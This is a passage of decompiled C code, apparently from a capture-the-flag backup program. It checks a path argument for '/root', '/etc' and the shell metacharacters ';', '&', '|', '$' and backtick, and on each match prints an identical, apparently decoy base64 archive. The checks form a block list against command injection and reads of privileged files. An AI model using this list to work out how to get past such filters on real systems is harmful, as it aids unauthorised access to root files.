\"UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH\/hu0fArpS\"\n      \"vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK\/oan4wWPabhw\/2rwaaJSXucU+pLgZor\"\n      \"Y67Q\/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE\/ZiS1S+rPgz\/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe\/BXhPQBJab7NVF6Xm3207Ef\"\n      \"D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2\"\n      \"EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz\/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY\/\"\n      \"a4AZKO\/GtVMULlrpbpIFqZ98zwmROFstmPl\/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd\/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MM\"\n      \"yU9L1CL2RRwm2QvbdD8PLWA\/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK\/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate\/Ut2\"\n      \"2WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd2\"\n      \"6PCuhmRUyNjEIBFx\/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2\/F+X\/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJr\"\n      \"yLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR\/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg\/RM71P5ldpCK70RemYniiNeluBfHwQLOx\"\n      \"kDn\/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmP\"\n      \"aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG\/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict\"\n      \"zNXUKzT905OFOcJwt7FbxyXk0z3FxD\/tgtUHcFBLAQI\/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw\"\n      \"ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==\");\n    exit(0);\n  }\n  if ( strstr(argv[3], \"\/root\") )\n  {\n    displaySuccess(\"Finished! Encoded backup is below:n\");\n    puts(\n      \"UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH\/hu0fArpS\"\n      \"vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK\/oan4wWPabhw\/2rwaaJSXucU+pLgZor\"\n      \"Y67Q\/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE\/ZiS1S+rPgz\/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe\/BXhPQBJab7NVF6Xm3207Ef\"\n      \"D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2\"\n      \"EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz\/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY\/\"\n      \"a4AZKO\/GtVMULlrpbpIFqZ98zwmROFstmPl\/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd\/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MM\"\n      \"yU9L1CL2RRwm2QvbdD8PLWA\/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK\/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate\/Ut2\"\n      \"2WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd2\"\n      \"6PCuhmRUyNjEIBFx\/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2\/F+X\/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJr\"\n      \"yLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR\/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg\/RM71P5ldpCK70RemYniiNeluBfHwQLOx\"\n      \"kDn\/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmP\"\n      \"aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG\/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict\"\n      \"zNXUKzT905OFOcJwt7FbxyXk0z3FxD\/tgtUHcFBLAQI\/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw\"\n      \"ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==\");\n    exit(0);\n  }\n  if ( strchr(argv[3], 59) )\n  {\n    displaySuccess(\"Finished! Encoded backup is below:n\");\n    puts(\n      \"UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH\/hu0fArpS\"\n      \"vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK\/oan4wWPabhw\/2rwaaJSXucU+pLgZor\"\n      \"Y67Q\/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE\/ZiS1S+rPgz\/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe\/BXhPQBJab7NVF6Xm3207Ef\"\n      \"D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2\"\n      \"EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz\/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY\/\"\n      \"a4AZKO\/GtVMULlrpbpIFqZ98zwmROFstmPl\/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd\/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MM\"\n      \"yU9L1CL2RRwm2QvbdD8PLWA\/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK\/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate\/Ut2\"\n      \"2WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd2\"\n      \"6PCuhmRUyNjEIBFx\/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2\/F+X\/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJr\"\n      \"yLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR\/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg\/RM71P5ldpCK70RemYniiNeluBfHwQLOx\"\n      \"kDn\/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmP\"\n      \"aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG\/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict\"\n      \"zNXUKzT905OFOcJwt7FbxyXk0z3FxD\/tgtUHcFBLAQI\/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw\"\n      \"ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==\");\n    exit(0);\n  }\n  if ( strchr(argv[3], 38) )\n  {\n    displaySuccess(\"Finished! Encoded backup is below:n\");\n    puts(\n      \"UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH\/hu0fArpS\"\n      \"vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK\/oan4wWPabhw\/2rwaaJSXucU+pLgZor\"\n      \"Y67Q\/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE\/ZiS1S+rPgz\/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe\/BXhPQBJab7NVF6Xm3207Ef\"\n      \"D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2\"\n      \"EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz\/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY\/\"\n      \"a4AZKO\/GtVMULlrpbpIFqZ98zwmROFstmPl\/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd\/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MM\"\n      \"yU9L1CL2RRwm2QvbdD8PLWA\/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK\/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate\/Ut2\"\n      \"2WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd2\"\n      \"6PCuhmRUyNjEIBFx\/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2\/F+X\/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJr\"\n      \"yLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR\/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg\/RM71P5ldpCK70RemYniiNeluBfHwQLOx\"\n      \"kDn\/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmP\"\n      \"aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG\/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict\"\n      \"zNXUKzT905OFOcJwt7FbxyXk0z3FxD\/tgtUHcFBLAQI\/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw\"\n      \"ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==\");\n    exit(0);\n  }\n  if ( strchr(argv[3], 96) )\n  {\n    displaySuccess(\"Finished! Encoded backup is below:n\");\n    puts(\n      \"UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH\/hu0fArpS\"\n      \"vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK\/oan4wWPabhw\/2rwaaJSXucU+pLgZor\"\n      \"Y67Q\/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE\/ZiS1S+rPgz\/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe\/BXhPQBJab7NVF6Xm3207Ef\"\n      \"D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2\"\n      \"EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz\/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY\/\"\n      \"a4AZKO\/GtVMULlrpbpIFqZ98zwmROFstmPl\/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd\/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MM\"\n      \"yU9L1CL2RRwm2QvbdD8PLWA\/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK\/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate\/Ut2\"\n      \"2WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd2\"\n      \"6PCuhmRUyNjEIBFx\/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2\/F+X\/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJr\"\n      \"yLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR\/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg\/RM71P5ldpCK70RemYniiNeluBfHwQLOx\"\n      \"kDn\/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmP\"\n      \"aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG\/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict\"\n      \"zNXUKzT905OFOcJwt7FbxyXk0z3FxD\/tgtUHcFBLAQI\/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw\"\n      \"ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==\");\n    exit(0);\n  }\n  if ( strchr(argv[3], 36) )\n  {\n    displaySuccess(\"Finished! Encoded backup is below:n\");\n    puts(\n      \"UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH\/hu0fArpS\"\n      \"vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK\/oan4wWPabhw\/2rwaaJSXucU+pLgZor\"\n      \"Y67Q\/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE\/ZiS1S+rPgz\/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe\/BXhPQBJab7NVF6Xm3207Ef\"\n      \"D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2\"\n      \"EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz\/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY\/\"\n      \"a4AZKO\/GtVMULlrpbpIFqZ98zwmROFstmPl\/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd\/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MM\"\n      \"yU9L1CL2RRwm2QvbdD8PLWA\/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK\/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate\/Ut2\"\n      \"2WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd2\"\n      \"6PCuhmRUyNjEIBFx\/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2\/F+X\/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJr\"\n      \"yLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR\/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg\/RM71P5ldpCK70RemYniiNeluBfHwQLOx\"\n      \"kDn\/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmP\"\n      \"aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG\/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict\"\n      \"zNXUKzT905OFOcJwt7FbxyXk0z3FxD\/tgtUHcFBLAQI\/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw\"\n      \"ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==\");\n    exit(0);\n  }\n  if ( strchr(argv[3], 124) )\n  {\n    displaySuccess(\"Finished! Encoded backup is below:n\");\n    puts(\n      \"UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH\/hu0fArpS\"\n      \"vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK\/oan4wWPabhw\/2rwaaJSXucU+pLgZor\"\n      \"Y67Q\/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE\/ZiS1S+rPgz\/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe\/BXhPQBJab7NVF6Xm3207Ef\"\n      \"D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2\"\n      \"EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz\/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY\/\"\n      \"a4AZKO\/GtVMULlrpbpIFqZ98zwmROFstmPl\/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd\/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MM\"\n      \"yU9L1CL2RRwm2QvbdD8PLWA\/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK\/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate\/Ut2\"\n      \"2WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd2\"\n      \"6PCuhmRUyNjEIBFx\/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2\/F+X\/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJr\"\n      \"yLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR\/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg\/RM71P5ldpCK70RemYniiNeluBfHwQLOx\"\n      \"kDn\/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmP\"\n      \"aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG\/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict\"\n      \"zNXUKzT905OFOcJwt7FbxyXk0z3FxD\/tgtUHcFBLAQI\/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw\"\n      \"ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==\");\n    exit(0);\n  }\n  if ( strstr(argv[3], \"\/\/\") )\n  {\n    displaySuccess(\"Finished! Encoded backup is below:n\");\n    puts(\n      \"UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH\/hu0fArpS\"\n      \"vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK\/oan4wWPabhw\/2rwaaJSXucU+pLgZor\"\n      \"Y67Q\/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE\/ZiS1S+rPgz\/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe\/BXhPQBJab7NVF6Xm3207Ef\"\n      \"D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2\"\n      \"EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz\/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY\/\"\n      \"a4AZKO\/GtVMULlrpbpIFqZ98zwmROFstmPl\/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd\/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MM\"\n      \"yU9L1CL2RRwm2QvbdD8PLWA\/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK\/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate\/Ut2\"\n      \"2WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd2\"\n      \"6PCuhmRUyNjEIBFx\/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2\/F+X\/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJr\"\n      \"yLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR\/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg\/RM71P5ldpCK70RemYniiNeluBfHwQLOx\"\n      \"kDn\/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmP\"\n      \"aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG\/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict\"\n      \"zNXUKzT905OFOcJwt7FbxyXk0z3FxD\/tgtUHcFBLAQI\/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw\"\n      \"ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==\");\n    exit(0);\n  }\n  if ( !strcmp(argv[3], \"\/\") )\n  {\n    displaySuccess(\"Finished! Encoded backup is below:n\");\n    puts(\n      \"UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH\/hu0fArpS\"\n      \"vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK\/oan4wWPabhw\/2rwaaJSXucU+pLgZor\"\n      \"Y67Q\/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE\/ZiS1S+rPgz\/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe\/BXhPQBJab7NVF6Xm3207Ef\"\n      \"D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2\"\n      \"EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz\/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY\/\"\n      \"a4AZKO\/GtVMULlrpbpIFqZ98zwmROFstmPl\/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd\/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MM\"\n      \"yU9L1CL2RRwm2QvbdD8PLWA\/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK\/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate\/Ut2\"\n      \"2WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd2\"\n      \"6PCuhmRUyNjEIBFx\/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2\/F+X\/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJr\"\n      \"yLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR\/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg\/RM71P5ldpCK70RemYniiNeluBfHwQLOx\"\n      \"kDn\/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmP\"\n      \"aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG\/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict\"\n      \"zNXUKzT905OFOcJwt7FbxyXk0z3FxD\/tgtUHcFBLAQI\/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw\"\n      \"ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==\");\n    exit(0);\n  }\n  if ( strstr(argv[3], \"\/etc\") )\n  {\n    displaySuccess(\"Finished! Encoded backup is below:n\");\n    puts(\n      \"UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH\/hu0fArpS\"\n      